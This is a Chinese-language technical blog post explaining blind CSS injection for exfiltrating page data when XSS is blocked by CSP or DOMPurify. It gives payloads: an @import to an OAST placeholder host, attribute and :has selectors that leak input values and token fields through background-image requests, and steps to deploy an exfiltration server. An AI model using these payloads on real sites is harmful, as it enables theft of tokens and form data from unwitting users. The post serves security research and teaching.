盲式CSS数据外泄:攻破未知网页结构的技术解析

本文深入解析利用CSS选择器和:has伪类实现盲注环境下网页数据外泄的创新技术,涵盖属性选择器滥用、CSS变量控制请求触发、多背景传输机制及未知页面结构的自动化探测方法。

盲式CSS数据外泄:攻破未知网页结构

(已加速处理避免长时间等待)

技术背景与应用场景

当遇到盲注HTML注入漏洞且无法通过XSS突破CSP防护或DOM过滤器(如DOMPurify)时,CSS样式注入成为关键突破口。传统认知中"仅样式无危害"的误区在此被彻底颠覆。

核心技术原理

1. 注入验证与OAST检测

通过Burp Collaborator注入@import规则确认样式注入点:

1
"><style>@import'//YOUR-PAYLOAD.oastify.com'</style>

2. CSS变量触发外部请求

利用CSS变量作为开关机制,配合回退值控制背景图片请求:

1
2
3
4
5
6
input[value="1337"] {
   --value: url(/collectData?value=1337);
}
input {
   background:var(--value,none);
}

3. 属性选择器数据提取

  • 前缀匹配:input[value^="a"]
  • 后缀匹配:input[value$="f"]
  • 结合背景请求实现数据外传

4. :has选择器革命性突破

突破传统兄弟选择器限制,直接基于子元素状态触发父元素请求:

1
2
3
div:has(input[value="1337"]) {
  background:url(/collectData?value=1337);
}

5. HTML根元素滥用策略

通过html元素设置背景避免样式覆盖:

1
2
3
html:has(input[name^="m"]):not(input[name="mytoken"]) {
  background:url(/m);
}

6. :not选择器链式枚举

已获取数据的元素通过排除法继续探测后续元素:

1
:not([name="已知值"])

7. @import链式阻塞加载

借鉴d0nut和Pepe Vila的研究,使用CSS导入阻塞机制控制数据提取节奏

8. 多背景无限请求技术

通过预定义CSS变量集合实现大规模数据外传:

1
2
3
4
5
6
html {
  background: 
    var(--request1, none),
    var(--request2, none),
    /* 数百个预定义变量 */;
}

实战部署方案

  1. 获取工具

    1
    2
    
    git clone [Blind CSS Exfiltrator仓库]
    node css-exfiltrator-server.js
    
  2. 触发外泄

    1
    
    <style>@import 'http://localhost:5001/start';</style>
    
  3. 代理配置(Apache示例):

    1
    
    ProxyPass /blind-css-exfiltration http://localhost:5001
    

支持的数据类型

  • 输入框name/value属性
  • 文本域name属性
  • 表单action参数
  • 锚链接内容
  • 几乎所有ASCII字符

演示环境警告

PortSwigger实验室演示系统存在IP单次限制,建议自行部署服务器以获得完整体验:

1
<style>@import 'https://your-server.com/start';</style>

技术细节持续更新至2024年7月11日,完整代码参见GitHub仓库

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计